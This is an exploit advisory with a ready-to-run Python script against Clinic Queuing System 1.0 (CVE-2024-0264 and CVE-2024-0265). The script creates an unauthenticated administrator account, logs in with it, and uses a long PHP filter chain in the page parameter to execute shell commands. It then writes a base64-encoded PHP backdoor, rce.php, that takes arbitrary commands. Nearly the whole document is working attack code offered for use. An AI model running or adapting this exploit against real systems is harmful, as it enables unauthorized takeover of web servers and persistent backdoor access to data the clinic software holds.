Authored by Juan Marco Sanchez

Clinic Queuing System version 1.0 suffers from a remote code execution vulnerability.

advisories | CVE-2024-0264, CVE-2024-0265

# Exploit Title: Clinic Queuing System 1.0 RCE 
# Date: 2024/1/7
# Exploit Author: Juan Marco Sanchez
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html
# Version: 1.0
# Tested on: Debian Linux Apache Web Server
# CVE: CVE-2024-0264 and CVE-2024-0265

import requests
import random
import argparse
from bs4 import BeautifulSoup

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'

filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"

def phase1(): # CVE-2024-0264
  rand_user = 'pwn_'+str(random.randint(100, 313))
  rand_pass = 'pwn_'+str(random.randint(100, 313))
  pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
  print("[*] adding administrator " + rand_user + ":" + rand_pass)
  phase1 = requests.post(phase1_url, pwn_user_data)
  if "User Account has been added successfully." in phase1.text:
    print("[+] Phase 1 Success - Admin user added!n")
    print("[*] Initiating Phase 2")
    phase2(rand_user, rand_pass)
  else:
    print("[X] user creation failed :(")
    die()

def phase2(user, password): # CVE-2024-0265
  s = requests.Session();
  login_data = {'formToken':'','username':user, 'password':password}
  print("[*] Loggin in....")
  phase2 = s.post(phase2_url, login_data)

  if "Login successfully." in phase2.text:
    print("[+] Login success")
  else:
    print("[X] Login failed.")
    die()

  print("[+] Preparing for RCE via LFI PHP FIlter Chaining...n")
  rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
  #print("[*] Payload: " + rce_url)
  rce = s.get(rce_url)
  
  if "jmrcsnchz" in rce.text:
    print("[+] RCE success!")
    soup = BeautifulSoup(rce.text, 'html.parser')
    print("[+] Output of id: " + soup.pre.get_text())
    print("[*] Uploading php backdoor....")
    s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
    print("[+] Access at " + base_url + "/rce.php?0=whoami")
  else:
    print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
    die()

try:
  print("[*] Initiating Phase 1")
  phase1()
except:
  print("Exploit failed.")

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